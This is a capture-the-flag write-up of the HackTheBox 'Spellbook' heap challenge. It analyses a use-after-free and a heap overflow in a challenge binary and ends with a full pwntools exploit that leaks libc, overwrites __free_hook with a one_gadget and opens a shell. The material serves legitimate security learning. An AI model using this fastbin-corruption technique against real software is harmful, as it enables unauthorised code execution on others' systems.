Spellbook - HackTheBox University

Introduction

This challenge was a heap challenge of the HTB University CTF 2022 where we ranked 2nd ex-aequo with the first team ! I'm really new to heap challenges so this one was really interesting for me.

Assignment

In this magic school, there are some spellbound books given to young wizards where they can create and store the spells they learn throughout the years. Some forbidden spells can cause serious damage to other wizards and are not allowed. Beware what you write inside this book. Have fun if you are a true wizard, after all…

Initial Analysis

So basically we have a x86_64 binary, its libc and ld. The libc appears to be 2.23 which has few to no protections on heap. There is no tcache.

$ file spellbook
spellbook: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ed33149d6ff01a7bc0c5d79d5ec95be608ab927a, with debug_info, not stripped

We can see it's not stripped which will really ease the anbalysis.

The ELF has all protections activated.

[*] '~/pwn/spellbook/challenge/spellbook'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./glibc/'```

When running it we have 4 options:

```bash
$ ./spellbook


                 ⅀ ℙ ∉ ⎳ ⎳ Ⓑ ℺ ℺ ₭


                           ▗ ▖▗ ▖▗ ▖▖▖▖                     
               ▗▄▄     ▗ ▘▝            ▘▘▖                  
           ▖▝▀     ▀▗ ▞                   ▘▖                
       ▗ ▘           ▝▗                     ▘▘▖             
     ▖▝                ▝▚                      ▘▖           
   ▞▚                    ▝▄                      ▝▗▖        
  ▐▘ ▄                     ▘▖                       ▘▖      
  ▜▖  ▚                     ▝▚▖             ▗▄▄▄▄▄▄▄▄▄▙▖    
   ▜▌  ▚                      ▝▗      ▄▖▀▀▀▀           ▙▖   
    ▜▙  ▚                       ▀▄  ▄▘                 ▜█▄▖ 
     ▀▌  ▚                ▗▖▖    ▝▜▞     ▗▄▄▄▄▄▟▛█▜▛███▛█▜▘ 
      ▜▙  ▜           ▗ ▀▝       ▗█▄▙▖▗▟██▛█▜▀▀▀▀▀▀         
       ▐▙  ▐       ▗▝▘        ▖▖▖█████▀▘                    
        ▐▙  ▝▖  ▄▝▘     ▗▄▄███▀▀▀▀▀▝                        
         ▀▙  ▜▝▘    ▗▄▄██▀▀                                 
          ▀▙▖▐▘  ▗▄▛█▝▀                                     
           ▐▙▟ ▄▛▛▘▘                                        
            ▝▛▀▘                                            


 ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ
ᐊ 1. Add    ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 2. Show   ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 3. Edit   ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 4. Delete ⅀ ℙ ∉ ⎳ ⎳ ᐅ
 ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ

>> 

We can see we can add, show, edit and delete spells. Which is really typical of heap exploitation challenges.

Bug Hunting

Now that we know what's our target, let's fire up IDA and start bug hunting. On x86_64 challenges I always use IDA Free which does the trick really well using its cloud decompiler.

The main function is really self explanatory and it consists of a switch case depending on the user input which would be 1 to 4. If the input is incorrect, it will exit.

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax

  setup();
  banner();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        v3 = menu();
        if ( v3 != 2 )
          break;
        show();
      }
      if ( v3 > 2 )
        break;
      if ( v3 != 1 )
        goto LABEL_13;
      add();
    }
    if ( v3 == 3 )
    {
      edit();
    }
    else
    {
      if ( v3 != 4 )
      {
LABEL_13:
        printf("\n%s[-] You are not a wizard! You are a muggle!\n\n", "\x1B[1;31m");
        exit(22);
      }
      delete();
    }
  }
}

Let's start with the add function.

void __fastcall add()
{
  int size; // [rsp+4h] [rbp-5Ch]
  size_t idx; // [rsp+8h] [rbp-58h]
  spl *spell; // [rsp+10h] [rbp-50h]

  printf(format);
  idx = read_num();
  if ( idx <= 9 )
  {
    spell = (spl *)malloc(0x28uLL);
    printf(aInsert);
    spell->type[(int)(read(0, spell, 0x17uLL) - 1)] = 0;
    printf(aInsert_0);
    size = read_num();
    if ( size <= 0 || size > 1000 )
    {
      printf("\n%s[-] Such power is not allowed!\n", "\x1B[1;31m");
      exit(290);
    }
    spell->power = size;
    spell->sp = (char *)malloc(spell->power);
    printf(aEnter);
    spell->sp[(int)read(0, spell->sp, size - 1) - 1] = 0;
    table[idx] = spell;
    printf(aS_0, "\x1B[1;32m", "\x1B[1;34m");
  }
  else
  {
    printf(aS, "\x1B[1;31m", "\x1B[1;34m");
  }
}

We're asked a number between 0 to 9. We can see there we can malloc up to ten spl structs. We can specity its type which will be a 0x18 bytes long char array. And we can do another malloc by specifying a size to the spell. This size will be used as the size of the next malloc so we control that malloc size. Then we're prompted for a spell with the length we specified earlier. Then the pointer to that spell is set in table[idx].
Knowing this we can deduct the struct definition.

struct spl {
	char type[0x18],
	int  *sp
	int  power
}

We can actually create malloc as much spell as we want since the table[idx] but this is not important.

Let's move on the show function.

void __fastcall show()
{
  size_t idx; // [rsp+0h] [rbp-10h]

  printf(format);
  idx = read_num();
  if ( idx <= 9 && table[idx] )
  {
    printf(asc_19A8);
    printf(table[idx]->type);
    printf(asc_19C6);
    printf(table[idx]->sp);
  }
  else
  {
    printf(aS, "\x1B[1;31m", "\x1B[1;34m");
  }
}

This one is pretty straightforward. It reads an index and checks if the pointer is not null. If the pointer points to data, it will print its type and its sp.
This can be interesting to leak data.

Let's check the edit function.

void __fastcall edit()
{
  size_t idx; // [rsp+8h] [rbp-18h]
  spl *new_spell; // [rsp+10h] [rbp-10h]

  printf(format);
  idx = read_num();
  if ( idx <= 9 && table[idx] )
  {
    new_spell = table[idx];
    printf(aNew);
    new_spell->type[(int)(read(0, new_spell, 0x17uLL) - 1)] = 0;
    printf(aNew_0);
    new_spell->type[(int)(read(0, new_spell->sp, 0x1FuLL) - 1)] = 0;
    printf(aS_1, "\x1B[1;32m", "\x1B[1;34m");
  }
  else
  {
    printf(aS, "\x1B[1;31m", "\x1B[1;34m");
  }
}

It reads an index and checks if the pointer exists. Then we can modify spl->type and the spl->sp. Notice that the size of spl->sp is not checked. If the chunk size is less than 0x1F. this will result in a heap buffer overflow. We got our first vulnerability !

And here the magic begins. This is the delete function.

void __fastcall delete()
{
  size_t idx; // [rsp+8h] [rbp-18h]
  spl *ptr; // [rsp+10h] [rbp-10h]

  printf(format);
  idx = read_num();
  if ( idx <= 9 && table[idx] )
  {
    ptr = table[idx];
    free(ptr->sp);
    free(ptr);
    printf(aS_2, "\x1B[1;32m", "\x1B[1;34m");
  }
  else
  {
    printf(aS, "\x1B[1;31m", "\x1B[1;34m");
  }
}

As usual, the function takes an index and checks if the pointer is not null. Then it frees spl->sp then spl. But the pointer is not set to NULL. Which results in a Use-After-Free, since we can still use that pointer after it's freed.

Exploitation

Now we have two vulnerabilities:
- Use-After-Free in delete()
- Heap Buffer Overflow in edit()

Let's get a shell. First step will be leaking addresses to defeat PIE/ASLR.

Leaking Addresses

Since we have a Use-After-Free, we only need to malloc and free 2 chunks to get leaks of addresses using the show function.

My approach to doing this was allocating 2 chunks which would fall in the unsorted bins so I can leak heap and libc addresses.
This can be done by allocating 2 spells with a power of 0x100.

add(b"0", b"0", 0x100, b"1" * 0x99)
add(b"1", b"0", 0x100, b"2" * 0x99)
delete(b"1")
delete(b"0")

We then get a leak using show(0).
Then we can easily get offsets with heap base and libc base.

heap_leak = u64(heap_leak + b"\x00\x00")
libc_leak = u64(libc_leak + b"\x00\x00")
    
heap_base = heap_leak - 320
libc_base = libc_leak - 0x3c4b78
libc.address = libc_base 

print(f"heap @ {hex(heap_base)}")
print(f"libc @ {hex(libc_base)}")

We now have 2 leaks ! Let's move on to the next step.

Getting Arbitrary Write

I started by filling again the 4 chunks I freed earlier.

add(b"0", b"0", 0x100, b"1" * 0xff)
add(b"1", b"A", 0x100, b"2" * 0xff)

Then we can start the real exploit.
Our goal will be to create a chunk, free it and edit the freed chunk to craft metadata. Hence we will be able to forge a fake fd pointer. That pointer will be used on the next malloc.

Let's try it out.

add(b"3", b"AAAAAAAA", 0x20, b"C" * 0x1f)
delete(b"3")
edit(b"3", b"AAAAAAAA", cyclic(0x1f)) # spl->sp is not really useful here.

So now we have a chunk with a fd pointing to 0x4141414141414141. We can verify it using pwndbg.

Great ! Now we can easily write anywhere we want with a malloc ! Let's do it :-)
We indeed get SIGSEGV by allocating a new chunk.

Since the challenges uses libc 2.23, it will be easy to get a shell by overwriting __free_hook with a one gadget. So let's overwrite __free_hook. This could be easily done with

add(b"3", b"AAAAAAAA", 0x20, b"C" * 0x1f)
delete(b"3")
edit(b"3", p64(libc.sym["__free_hook"], cyclic(0x1f)) 
add(b"7", b"X", 0x20, b"C" * 0x1f)

Trying it...

And we get a superb error:

malloc(): memory corruption (fast): 0x00007f07a09c67b8 ***

This error happens because we tried to malloc on some data region that didn't look like a a valid chunk. In fact it requires that the chunk is sufficient to malloc there, so it checks if [fd-0x10] is higher than the size of the chunk. I tried to inspect __free_hook and __malloc_hook memory region to find places where that condition would be satisfied, without any success.

But I found a workaround

Getting a shell

Our goal is still to overwrite __free_hook. Instead of writing direcly to the libc, why not try writing into the heap ? Luckily we even got a leak of the heap ! Let's check the layout using pwndbg and search pointers we could hijack.

Remember the struct ! It contains a pointer to a string. And right before it we can write anything we want on 0x17 bytes. Why not fake a valid empty chunk by appending 0x30 to its type ? We could then replace the spl1->sp with our malloc, then edit spl1. Then editing spl1->sp would result in writing at an arbitrary location !

We simply need to calculate the offset of that pointer with the heap_base. Here 0x55d184398160 - 0x55d184398000 = 352. So we will try to malloc at heap_base + 352 - 0x10 so the metadata are correct.

add(b"0", b"0", 0x100, b"1" * 0xff)
add(b"1", b"AAAAAAAA" + b"\x30", 0x100, b"2" * 0xff)
    
add(b"3", b"2", 0x20, b"C" * 0x1f) 
delete(b"3") 
print(f"Write @ {hex(heap_base + 352 - 0x10)}")
edit(b"3", p64(heap_base + 352 - 0x10), cyclic(0x1f))
add(b"7", p64(libc.sym["__free_hook"]) * 2, 0x20, b"2" * 0x1)
edit(b"1", b"A", p64(libc.address + one_gadgets[1]))
delete(b"7")

Now we get an error while freeing a chunk:

free(): invalid next size (fast): 0x0000561a9e817160 ***

My workaround was to allocate another chunk before allocating the chunk containing __free_hook. This chunk should be from another bin, that's why its size should be over 0x28.

add(b"0", b"0", 0x100, b"1" * 0xff)
add(b"1", b"AAAAAAAA" + b"\x30", 0x100, b"2" * 0xff) # + b"\x30"

add(b"3", b"2", 0x20, b"C" * 0x1f) # malloc(0x28) + malloc(0x20)
delete(b"3") # free(0x20), free(0x28)
print(f"Write @ {hex(heap_base + 352 - 0x10)}")
edit(b"3", p64(heap_base + 352 - 0x10), cyclic(0x1f))

add(b"6", b"A", 0x29, b"1" * 0x1)

add(b"7", p64(libc.sym["__free_hook"]) * 2, 0x20, b"2" * 0x1)

edit(b"1", b"A", p64(libc.address + one_gadgets[1]))
delete(b"7")

Then, we simply need to try each one gadgets. You can get them using the one_gadget script.

$ one_gadget libc.so.6 
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

The second one worked !

$ python solve.py LOCAL
[+] Starting local process '/home/woody/Documents/CTF/HTBU/pwn/spellbook/challenge/spellbook_patched': pid 179902
heap @ 0x562ac5e3a000
libc @ 0x7f7d67a00000
libc[__free_hook] @ 0x7f7d67dc67a8
Write @ 0x562ac5e3a150
[*] Switching to interactive mode
$ id
uid=1000(woody)
$ cat flag.txt
HTB{f45tb1n_c0rrupt10n_0n_p4g3_gl1bc_2.23}

And we successfuly get the flag !

Conclusion

This challenge was really amazing in my opinion, I learned a lot of new things on heap pwn. Thanks HackTheBox and challenge creator.

Here is the full script.

#!/usr/bin/env python3

from pwn import *

exe = ELF("./spellbook_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe
r = None

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("remote", 32516)
    return r

def add(name, typ, power, spell):
    r.sendlineafter(b">> ", b"1")
    r.sendlineafter(b"entry:", name)
    r.sendlineafter(b"type:", typ)
    r.sendlineafter(b"power:", str(power).encode())
    r.sendafter(b":", spell)

def show(name):
    r.sendlineafter(b">> ", b"2")
    r.sendlineafter(b"entry:", name)
    r.recvuntil(b'type:')
    typ = r.recvline().strip()
    spell = b''.join(r.recvline().split(b':')[1:]).strip()
    return (typ, spell)

def edit(name, new_type, new_spell):
    r.sendlineafter(b">> ", b"3")
    r.sendlineafter(b"entry:", name)
    r.sendafter(b"type:", new_type)
    r.sendafter(b":", new_spell)

def delete(name):
    r.sendlineafter(b">> ", b"4")
    r.sendlineafter(b"entry: ", name)


def main():
    global r
    r = conn()
    one_gadgets = [0x45226, 0x4527a] 
    add(b"0", b"0", 0x100, b"1" * 0x6f)
    add(b"1", b"0", 0x100, b"2" * 0x6f)
    delete(b"1")
    delete(b"0")
    heap_leak,libc_leak = show(b"0")
    
    heap_leak = u64(heap_leak + b"\x00\x00")
    libc_leak = u64(libc_leak + b"\x00\x00")
    
    heap_base = heap_leak - 320
    libc_base = libc_leak - 0x3c4b78
    libc.address = libc_base 
    print(f"heap @ {hex(heap_base)}")
    print(f"libc @ {hex(libc_base)}")
    print(f"libc[__free_hook] @ {hex(libc.sym['__free_hook'])}")
    #################################
    add(b"0", b"0", 0x100, b"1" * 0xff)
    add(b"1", b"AAAAAAAA" + b"\x30", 0x100, b"2" * 0xff) # + b"\x30"
    
    add(b"3", b"2", 0x20, b"C" * 0x1f) # malloc(0x28) + malloc(0x20)
    delete(b"3") # free(0x20), free(0x28)
    print(f"Write @ {hex(heap_base + 352 - 0x10)}")
    edit(b"3", p64(heap_base + 352 - 0x10), cyclic(0x1f))
    add(b"6", b"A", 0x30, b"1" * 0x1)
    add(b"7", p64(libc.sym["__free_hook"]) * 2, 0x20, b"2" * 0x1)

    edit(b"1", b"A", p64(libc.address + one_gadgets[1]))
    delete(b"7")
    r.interactive()


if __name__ == "__main__":
   main()